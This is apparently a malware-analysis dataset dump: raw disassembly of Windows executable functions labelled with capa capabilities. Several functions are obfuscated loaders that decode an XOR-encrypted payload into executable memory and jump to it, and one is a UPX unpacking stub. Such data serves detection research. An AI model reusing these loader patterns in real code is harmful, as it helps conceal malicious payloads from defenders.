joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x402c00
pop dword [ebp - 0x3c]
mov eax, 0x402c00
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xcae6c1d6
add dword [ebp - 0x4c], 0x836b8375
mov dword [ebp - 0x48], 0x93507bd7
sub dword [ebp - 0x48], 0x611d2f92
mov dword [ebp - 0x44], 0x974bee32
sub dword [ebp - 0x44], 0x4affaa04
mov dword [ebp - 0x40], 0x1ff280f2
sub dword [ebp - 0x40], 0x1ff280f2
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x73d7bb09
add eax, 0x8c68c583
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xe0bf1889
add dword [ebp - 0x4c], 0x93b350cd
mov dword [ebp - 0x48], 0x3640d756
add dword [ebp - 0x48], 0xb2b8a1f
mov dword [ebp - 0x44], 0x3bb7dbd9
add dword [ebp - 0x44], 0x27b79093
mov dword [ebp - 0x40], 0x7369948c
sub dword [ebp - 0x40], 0x7369948c
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x394dc673
sub eax, 0x390d459f
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x36abe
push 0
call eax
mov ecx, 0xccc14ce5
sub ecx, 0xccc104f7
xor ebx, ebx
add ebx, eax
mov esi, 0xf247094f
sub esi, 0xf205f94f
add esi, dword [ebp - 0x3c]
mov edi, 0x48abb81d
sub edi, 0xc0d692a5
mov dword [ebp - 0x20], 0xe563bc2f
mov edx, dword [esi]
xor dword [ebp - 0x30], 0x99e718e0
xor edx, edi
add dword [ebp - 0x18], 0x9e986e26
mov dword [ebx], edx
xor dword [ebp - 0x30], 0x2b204cd4
add ebx, 4
add esi, 4
loop 0x402d1f
add eax, 0x1128b
xor ebx, ebx
add ebx, eax
add eax, 0xb96171d2
sub eax, 0xb96171cd
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x43e430
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2c000]
push edi
jmp 0x43e44a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43e451
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43e440
mov eax, 1
add ebx, ebx
jne 0x43e463
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43e458
jne 0x43e474
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43e458
xor ecx, ecx
sub eax, 3
jb 0x43e488
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43e4fa
mov ebp, eax
add ebx, ebx
jne 0x43e493
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43e4a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43e4c4
inc ecx
add ebx, ebx
jne 0x43e4b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43e4a5
jne 0x43e4c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43e4a5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43e4e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43e4d5
jmp 0x43e446
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43e4e4
add edi, ecx
jmp 0x43e446
pop esi
mov edi, esi
mov ecx, 0xa88
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43e502
cmp byte [edi], 0x12
jne 0x43e502
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43e507
lea edi, [esi + 0x3c000]
mov eax, dword [edi]
or eax, eax
je 0x43e57f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x53410]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x534f0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43e534
mov ecx, edi
jns 0x43e563
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x534f8]
or eax, eax
je 0x43e579
mov dword [ebx], eax
add ebx, 4
jmp 0x43e551
call dword [esi + 0x534f4]
mov ebp, dword [esi + 0x534fc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43e5b3
sub esp, 0xffffff80
jmp 0x41c35f
Function at 0x401007
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x42d6f8]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x42d6fc]
push edi
mov edi, dword [ebx]
xor edx, edx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x42d700]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [0x42d704]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x43c954], 0xc
mov dword [ebp - 4], eax
jne 0x401085
push edx
lea eax, [ebp - 0x38]
push eax
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor edx, edx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x43c954]
cmp eax, 0xfa9
jne 0x4010a1
mov dword [0x43c950], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c2
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAllAccessesGranted]
and dword [0x43c8a4], 0
xor edx, edx
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [0x43c94c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x401059
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x408d28
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42cf30]
jne 0x408d32
repz ret
jmp fcn.0040cca4

Function at 0x409fa3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402aae
and dword [ebp - 4], 0
cmp dword [0x431940], 0
mov ebx, eax
jne 0x40a054
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a105
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a105
push eax
call fcn.00402a3c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x431940], eax
call esi
push eax
call fcn.00402a3c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x431944], eax
call esi
push eax
call fcn.00402a3c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x431948], eax
call esi
push eax
call fcn.00402a3c
pop ecx
mov dword [0x431950], eax
test eax, eax
je 0x40a054
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402a3c
pop ecx
mov dword [0x43194c], eax
mov eax, dword [0x43194c]
cmp eax, ebx
je 0x40a0ac
cmp dword [0x431950], ebx
je 0x40a0ac
push eax
call fcn.00402ab7
push dword [0x431950]
mov esi, eax
call fcn.00402ab7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a0ac
test edi, edi
je 0x40a0ac
call esi
test eax, eax
je 0x40a0a3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a0a3
test byte [ebp - 0xc], 1
jne 0x40a0ac
or dword [ebp + 0x10], 0x200000
jmp 0x40a0e5
mov eax, dword [0x431944]
cmp eax, ebx
je 0x40a0e5
push eax
call fcn.00402ab7
pop ecx
test eax, eax
je 0x40a0e5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a0e5
mov eax, dword [0x431948]
cmp eax, ebx
je 0x40a0e5
push eax
call fcn.00402ab7
pop ecx
test eax, eax
je 0x40a0e5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431940]
call fcn.00402ab7
pop ecx
test eax, eax
je 0x40a105
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a107
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100934d6
Capabilities:
Terminate process

Disassembly:
push 8
push 0x1009b6b8
call fcn.10091db8
push 8
call fcn.10067d00
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x100a4598], esi
jne 0x1009350a
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov dword [0x100a4594], esi
mov al, byte [ebp + 0x10]
mov byte [0x100a4590], al
cmp dword [ebp + 0xc], edi
jne 0x10093554
cmp dword [0x100a6708], edi
je 0x10093544
mov eax, dword [0x100a6704]
sub eax, 4
mov dword [0x100a6704], eax
cmp eax, dword [0x100a6708]
jb 0x10093544
mov eax, dword [eax]
cmp eax, edi
je 0x10093525
call eax
jmp 0x10093525
push 0x1009e020
mov eax, 0x1009e01c
call fcn.10093436
pop ecx
push 0x1009e028
mov eax, 0x1009e024
call fcn.10093436
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x10093585
cmp dword [ebp + 0x10], edi
jne 0x10093593
mov dword [0x100a4598], esi
push dword [ebp + 8]
call fcn.100933f4
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x10093592
push 8
call fcn.10067d00
pop ecx
ret
call fcn.10091df3
ret

Function at 0x10094069
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x100a1cdc]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x100a2100]
je 0x1009409e
inc eax
cmp eax, 0x13
jb 0x1009408f
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x100a2100]
jne 0x100941c4
mov eax, dword [0x100a44dc]
cmp eax, 1
je 0x1009419c
cmp eax, edx
jne 0x100940ce
cmp dword [0x100a44e0], 1
je 0x1009419c
cmp ecx, 0xfc
je 0x100941c4
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10094104
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.10094340
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.10090280
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10094138
mov eax, edi
push eax
call fcn.10090280
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x1009b264
push edi
call fcn.10094440
add esp, 0x10
push edi
call fcn.10090280
push dword [esi + 0x100a2104]
mov ebx, eax
call fcn.10090280
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.10090ef0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.10094340
push edi
push ebx
call fcn.10094350
push 0x1009b260
push ebx
call fcn.10094350
push dword [esi + 0x100a2104]
push ebx
call fcn.10094350
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.10067d00
add esp, 0x2c
jmp 0x100941c4
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x100a2104]
push dword [esi]
call fcn.10090280
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.1009023b
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x100992de
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x1009d0f8
call fcn.10091db8
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x100a4960], edi
jne 0x10099322
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x1009930d
mov dword [0x100a4960], ebx
jmp 0x10099322
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x10099322
mov dword [0x100a4960], 2
mov eax, dword [0x100a4960]
cmp eax, ebx
jne 0x10099342
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
jmp 0x10099405
cmp eax, 2
je 0x1009934b
cmp eax, edi
jne 0x10099373
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x1009935e
mov eax, dword [0x100a46dc]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x1009937a
xor eax, eax
jmp 0x10099405
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.10090ef0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x100993ad
cmp esi, edi
jne 0x100993c3
push dword [ebp - 0x20]
call fcn.10094817
pop ecx
mov esi, eax
cmp esi, edi
je 0x10099373
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
je 0x100993f6
cmp dword [ebp + 0x14], edi
jne 0x100993e0
push edi
push edi
jmp 0x100993e6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x10099402
push esi
call fcn.100935d9
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.10091df3
ret
Function at 0x1009940e
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x1009d108
call fcn.10091db8
xor esi, esi
cmp dword [0x100a4964], esi
jne 0x10099452
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x1009943d
mov dword [0x100a4964], edi
jmp 0x10099452
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x10099452
mov dword [0x100a4964], 2
mov eax, dword [0x100a4964]
cmp eax, 2
je 0x10099533
cmp eax, esi
je 0x10099533
cmp eax, 1
jne 0x10099497
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x10099480
mov eax, dword [0x100a46dc]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x1009949e
xor eax, eax
jmp 0x10099545
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.10090ef0
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x100994d4
cmp edi, esi
jne 0x100994ef
lea eax, [ebx + ebx]
push eax
call fcn.10094817
pop ecx
mov edi, eax
cmp edi, esi
je 0x10099497
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoW]
test eax, eax
je 0x10099522
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x1009950c
push esi
push esi
jmp 0x10099512
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x1009952e
push edi
call fcn.100935d9
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x10099545
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.10091df3
ret
Function at 0x40137c
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x4025e8
call fcn.00401930
push 1
call fcn.004013fc
pop ecx
test al, al
je 0x401366
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004013ca
mov byte [ebp - 0x24], al
mov eax, dword [0x403030]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x401366
test eax, eax
jne 0x401284
mov dword [0x403030], ecx
push 0x4020fc
push 0x4020f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x401267
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x401356
push 0x4020ec
push 0x4020e4
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x403030], 2
jmp 0x401289
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040156e
pop ecx
call fcn.00401708
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4012ba
push esi
call fcn.004014da
pop ecx
test al, al
je 0x4012ba
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [0x4020e0]
call esi
call fcn.0040170e
mov esi, eax
cmp dword [esi], edi
je 0x4012d8
push esi
call fcn.004014da
pop ecx
test al, al
je 0x4012d8
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov edi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov esi, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
push eax
push edi
push dword [esi]
call main
add esp, 0xc
mov esi, eax
call fcn.00401833
test al, al
je 0x40136d
test bl, bl
jne 0x40130b
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push 0
push 1
call fcn.0040158b
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x401356
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.00401714
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
push dword [ebp - 0x20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
int3
call fcn.0053e000
jmp 0x4011fa
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x405b32
pop dword [ebp - 0x44]
mov eax, 0xf110e83b
add eax, 0xf2f72f7
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3141c4a6
sub dword [ebp - 0x54], 0xe2ef7f5b
mov dword [ebp - 0x50], 0xed688b18
sub dword [ebp - 0x50], 0xbb353ed3
mov dword [ebp - 0x4c], 0xd1dfd5bf
add dword [ebp - 0x4c], 0x7a6c6e6f
mov dword [ebp - 0x48], 0x72c246bf
sub dword [ebp - 0x48], 0x72c246bf
lea eax, [ebp - 0x54]
push eax
mov eax, 0x4e4dc11f
sub eax, 0x4e0d40a7
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x2ec469e6
add dword [ebp - 0x54], 0x45adff70
mov dword [ebp - 0x50], 0x7b60c337
add dword [ebp - 0x50], 0xc60b9e3e
mov dword [ebp - 0x4c], 0x2f3f3ed7
sub dword [ebp - 0x4c], 0xcbcfd26b
mov dword [ebp - 0x48], 0x9e627a1e
add dword [ebp - 0x48], 0x619d85e2
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3780c
push 0
call eax
mov ecx, 0x7cb98f60
sub ecx, 0x7cb94567
xor edx, edx
add edx, eax
mov esi, 0x55481a3c
sub esi, 0x5503063c
add esi, dword [ebp - 0x44]
mov ebx, 0xf23357b3
sub ebx, 0xb97883f7
mov dword [ebp - 0x10], 0xdb7f53b3
mov edi, dword [esi]
mov dword [ebp - 0x34], 0xf77d6c8d
xor edi, ebx
add dword [ebp - 0x34], 0xcffa5879
mov dword [edx], edi
sub dword [ebp - 0x18], ebx
add edx, 4
add esi, 0x493ccc63
add esi, 0xb6c333a1
loop 0x405c51
add eax, 0x11ab7
xor ebx, ebx
add ebx, eax
add eax, 0xf73a29f5
add eax, 0x8c5d610
mov ecx, 0x69b51f58
sub ecx, 0x69751f58
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4